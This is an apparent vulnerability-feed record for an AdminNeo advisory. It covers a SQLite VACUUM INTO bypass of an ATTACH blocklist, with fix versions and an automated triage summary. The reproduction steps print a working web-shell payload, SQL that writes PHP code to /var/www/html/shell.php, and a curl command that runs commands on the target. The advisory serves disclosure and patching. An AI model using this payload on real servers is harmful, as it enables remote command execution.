{"id":"CVE-2026-96630","kind":"vulnerability","aliases":["CVE-2026-96630","GHSA-q5mp-gfjf-cf2j"],"related":[],"title":"AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)","description":"## Summary\nAdminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.\n\nOriginally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)\n\n## Root Cause\nsql.inc.php, line 146:\n\n```php\nif (DIALECT == \"sqlite\" && preg_match(\"~^$space*+ATTACH\\\\b~i\", $q, $match)) {\n    // blocked\n}\n```\n\nOnly `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.\n\n## Steps To Reproduce\n\n### 1.  Login to SQLite\n1. Open AdminNeo and select driver: **SQLite**\n2. Login and create a new database (e.g., `stage.db`)\n\n### 2. Inject PHP code and write the shell\n\nNavigate to **SQL command** and execute:\n\n```sql\nCREATE TABLE \"<?php system($_GET['c']); ?>\" (i int);\nVACUUM INTO '/var/www/html/shell.php';\n```\n\nThe SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it.\n\n### 3. Execute commands\n\n```shell\ncurl \"http://TARGET/shell.php?c=id\"\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!","summary":"AdminNeo blocks SQLite ATTACH queries but not VACUUM INTO, which writes a database file with attacker-chosen content to any path and extension. An authenticated SQLite user can plant PHP code in the web root and run commands on the server.","severity":"high","cvss":7.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"adminneo-org/adminneo","fixed":["5.5.1"],"affected":"< 5.5.1","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["adminneo","package","php","self-hosted","sqlite"],"not_affected_if":["no-sqlite-driver"],"how_to_check":"- Confirm the installed `adminneo-org/adminneo` version is below `5.5.1` in composer.lock or vendor/\n- Check whether AdminNeo is used with the SQLite driver\n- Check whether the web root is writable by the PHP process","fix":"- adminneo-org/adminneo: move to `5.5.1`","status":"open","published_at":"2026-10-30T22:51:37+00:00","first_seen_at":"2026-10-30T22:51:45+00:00","triaged_at":"2026-10-30T22:52:34+00:00","updated_at":"2026-10-30T22:52:34+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-30T22:52:34Z","model":"claude-haiku-5-5","output":{"fix":"- adminneo-org/adminneo: move to `5.5.1`","reach":"internet","title":"AdminNeo: SQLite VACUUM INTO writes web shell, runs commands","impact":"high","summary":"AdminNeo blocks SQLite ATTACH queries but not VACUUM INTO, which writes a database file with attacker-chosen content to any path and extension. An authenticated SQLite user can plant PHP code in the web root and run commands on the server.","audience":"businesses","category":"package","nicknames":[],"who_cares":["adminneo","php","sqlite","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker runs shell commands on the web server.","analyst_note":"","how_to_check":"- Confirm the installed `adminneo-org/adminneo` version is below `5.5.1` in composer.lock or vendor/\n- Check whether AdminNeo is used with the SQLite driver\n- Check whether the web root is writable by the PHP process","plain_action":"","needs_analyst":false,"not_affected_if":["no-sqlite-driver"],"who_is_affected":"AdminNeo versions below 5.5.1 are exposed when a logged-in user can run SQL through the SQLite driver. The written file lands in a web-accessible path, so the risk is highest where the PHP process can write to the web root. Installations without the SQLite driver, or without any login exposed to untrusted users, are less exposed.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"high"},"cost_usd":0.001554,"input_tokens":4844,"output_tokens":2140,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':11A,19A '-96630':12A,20A '/adminneo':24A '/var/www/html/shell.php':239C,246C '/vrana/adminer/security/advisories/ghsa-gmx3-g29w-77wf)':140C '0':275C,278C,281C '1':194C,198C '146':145C '2':205C,214C '3':266C '3.27.0':170C '39gr':136C '45jh':137C 'achiev':93C 'add':298C 'admin':75C,132C 'adminneo':1A,22A,25B,32B,200C 'adminneo-org':21A 'advisori':305C 'appear':252C 'arbitrari':83C,181C,185C 'attach':7A,35B,77C,153C,160C 'attack':48B,103C 'attacker-chosen':47B 'attacker-control':102C 'authent':57B,114C 'avail':167C 'b':154C 'block':33B,76C,91C,158C 'blocklist':8A,164C 'bypass':9A 'byte':255C 'c':234C,272C 'caus':142C 'cf2j':17A 'check':190C 'chosen':49B 'co':312C 'co-discover':311C 'code':63B,106C,217C 'collabor':283C,302C 'command':70B,128C,225C,268C 'contain':101C,250C 'content':50B 'control':104C 'could':295C 'creat':208C,229C 'creation':85C 'credit':307C 'curl':270C 'cve':10A,18A 'databas':44B,99C,174C,211C 'dialect':148C 'discov':288C 'discover':313C 'driver':203C 'e.g':212C 'entir':173C 'execut':127C,227C,264C,267C 'extens':55B,112C,186C 'file':45B,84C,100C,178C,242C,258C 'find':262C 'get':233C 'gfjf':16A 'ghsa':14A,134C 'ghsa-q4f2-39gr-45jh':133C 'ghsa-q5mp-gfjf-cf2j':13A 'gid':277C 'github':293C 'github.com':139C 'github.com/vrana/adminer/security/advisories/ghsa-gmx3-g29w-77wf)':138C 'group':280C 'host':30B 'howev':86C 'id':273C 'inject':215C 'int':236C 'joint':289C 'line':144C 'login':195C,206C 'match':151C,157C 'name':249C 'navig':222C 'new':177C,210C 'open':199C 'org':23A 'origin':129C 'packag':26B 'parser':261C 'path':53B,109C,182C 'php':27B,62B,105C,146C,216C,231C,251C,259C 'plant':61B 'pleas':297C 'preg':150C 'prevent':82C 'q':156C 'q4f2':135C 'q5mp':15A 'queri':36B,78C 'raw':254C 'rce':2A 'report':130C 'reproduc':193C 'request':284C 'result':96C 'root':67B,125C,141C,276C,279C,282C 'run':69B 'select':202C 'self':29B 'self-host':28B 'server':73B 'shahinzadeh':292C 'shell':121C,221C,269C 'sinc':168C 'space':152C 'sql':224C,228C 'sql.inc.php':143C 'sqlite':4A,31B,34B,58B,80C,115C,149C,169C,197C,204C,241C 'stage.db':213C 'step':191C 'summari':74C 'system':232C 'tabl':230C,248C 'target/shell.php':271C 'thank':314C 'uid':274C 'user':59B,116C 'vacuum':5A,39B,87C,165C,237C 'via':3A 'voorivex':294C 'vulner':286C 'web':66B,120C,124C 'write':42B,97C,118C,171C,219C 'written':244C 'yashar':291C '~i':155C","nicknames":[],"mitigations":[],"who_affected":"AdminNeo versions below 5.5.1 are exposed when a logged-in user can run SQL through the SQLite driver. The written file lands in a web-accessible path, so the risk is highest where the PHP process can write to the web root. Installations without the SQLite driver, or without any login exposed to untrusted users, are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T22:51:37+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-q5mp-gfjf-cf2j","url":"https://github.com/advisories/GHSA-q5mp-gfjf-cf2j","severity":"high","published_at":"2026-10-30T22:51:37+00:00","modified_at":"2026-10-30T22:51:38+00:00","first_seen_at":"2026-10-30T22:51:45+00:00","fetched_at":"2026-10-30T22:56:53+00:00","note":null}],"documents":[{"id":26391,"url":"https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-q5mp-gfjf-cf2j","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26392,"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26393,"url":"https://github.com/adminneo-org/adminneo/commit/cf45efb3ac34e5e7b699cdc996f6eec2814ccda1","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26394,"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}